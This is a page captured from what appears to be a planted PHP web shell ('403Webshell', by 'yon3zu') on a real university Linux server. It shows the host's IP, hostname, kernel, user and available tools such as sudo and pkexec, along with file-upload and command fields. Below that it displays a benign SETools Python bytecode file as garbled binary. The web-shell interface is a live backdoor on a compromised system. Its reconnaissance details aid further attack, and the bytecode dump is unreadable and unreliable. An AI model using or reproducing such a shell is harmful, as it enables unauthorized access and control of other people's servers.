403Webshell
Server IP : 172.24.0.40  /  Your IP : 216.73.216.10
Web Server : Apache
System : Linux dbweb26.ust.edu.ph 4.18.0-513.5.1.el8_9.x86_64 #1 SMP Fri Sep 29 05:21:10 EDT 2023 x86_64
User : apache ( 48)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python3.6/site-packages/setools/diff/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib64/python3.6/site-packages/setools/diff/__pycache__/difference.cpython-36.pyc
3

�^��@sdddlZddlmZmZddlmZedddg�ZGdd�d�ZGd	d
�d
e�ZGdd�de�Z	dS)
�N)�ABC�abstractmethod)�
namedtupleZ
modified_item�left�rightc@sneZdZdZdd�Zedd��Zejdd��Zedd��Zejd	d��Zd
d�Z	e
dd
��Ze
ddd��ZdS)�
Differencez&Base class for all policy differences.cCstjt�|_||_||_dS)N)�loggingZ	getLogger�__name__�log�left_policy�right_policy)�selfrr�r�"/usr/lib64/python3.6/difference.py�__init__szDifference.__init__cCs|jS)N)�_left_policy)r
rrrr'szDifference.left_policycCs$|jjdj|��||_|j�dS)Nz"Policy diff left policy set to {0})r
�info�formatr�_reset_diff)r
�policyrrrr+scCs|jS)N)�
_right_policy)r
rrrr1szDifference.right_policycCs$|jjdj|��||_|j�dS)Nz#Policy diff right policy set to {0})r
rrrr)r
rrrrr5scCst�dS)z%Reset diff results on policy changes.N)�NotImplementedError)r
rrrr>szDifference._reset_diffccs.x(|D] }x|j�D]}||�VqWqWdS)z4Generator that yields a wrapped, expanded rule list.N)�expand)Z	rule_list�WrapperZunexpanded_ruleZ
expanded_rulerrr�_expand_generatorBs
zDifference._expand_generatorNTcCs�t|�}t|�}||}||}t�}t|||d�}	t|||d�}
t|	�t|
�ksntdjt|	�t|
����x<t|	|
�D].\}}||ks�tdj||���|j||f�qzW|r�tdd�|D��tdd�|D��tdd�|D��fS|||fSdS)a�
        Standard diff of two sets.

        Parameters:
        left        An iterable
        right       An iterable

        Return:
        tuple       (added, removed, matched)

        added       Set of items in right but not left
        removed     Set of items in left but not right
        matched     Set of items in both left and right.  This is
                    in the form of tuples with the matching item
                    from left and right
        )�keyzDMatched items assertion failure (this is an SETools bug), {0} != {1}css|]}|jVqdS)N)�origin)�.0�irrr�	<genexpr>sz'Difference._set_diff.<locals>.<genexpr>css|]}|jVqdS)N)r)rrrrrr�scss|]\}}|j|jfVqdS)N)r)rrrrrrr�sN)�set�sorted�len�AssertionErrorr�zip�add)rrrZunwrapZ
left_itemsZright_itemsZadded_itemsZ
removed_itemsZ
matched_itemsZleft_matched_itemsZright_matched_itemsrrr�	_set_diffLs(

zDifference._set_diff)NT)
r	�
__module__�__qualname__�__doc__r�propertyr�setterrr�staticmethodrr&rrrrrs	
rc@sHeZdZdZdZdd�Zedd��Zedd	��Zed
d��Z	dd
�Z
dS)rz/Abstract base class for policy object wrappers.rrcCsdj|t|j��S)Nz&<{0.__class__.__name__}(Wrapping {1})>)r�reprr)r
rrr�__repr__�szWrapper.__repr__cCsdS)Nr)r
rrr�__hash__�szWrapper.__hash__cCsdS)Nr)r
�otherrrr�__eq__�szWrapper.__eq__cCsdS)Nr)r
r0rrr�__lt__�szWrapper.__lt__cCs
||kS)Nr)r
r0rrr�__ne__�szWrapper.__ne__N)rr)r	r'r(r)�	__slots__r.rr/r1r2r3rrrrr�src@s4eZdZdZdZdd�Zdd�Zdd�Zd	d
�ZdS)�
SymbolWrapperz�
    General wrapper for policy symbols, e.g. types, roles
    to provide a diff-specific equality operation based
    on its name.
    �namecCs ||_t|�|_t|j�|_dS)N)r�strr6�hashr)r
Zsymbolrrrr�s
zSymbolWrapper.__init__cCs|jS)N)r)r
rrrr/�szSymbolWrapper.__hash__cCs|j|jkS)N)r6)r
r0rrrr2�szSymbolWrapper.__lt__cCs|j|jkS)N)r6)r
r0rrrr1�szSymbolWrapper.__eq__N)	r	r'r(r)r4rr/r2r1rrrrr5�sr5)
r�abcrr�collectionsrZmodified_item_recordrrr5rrrr�<module>sk

Youez - 2016 - github.com/yon3zu
LinuXploit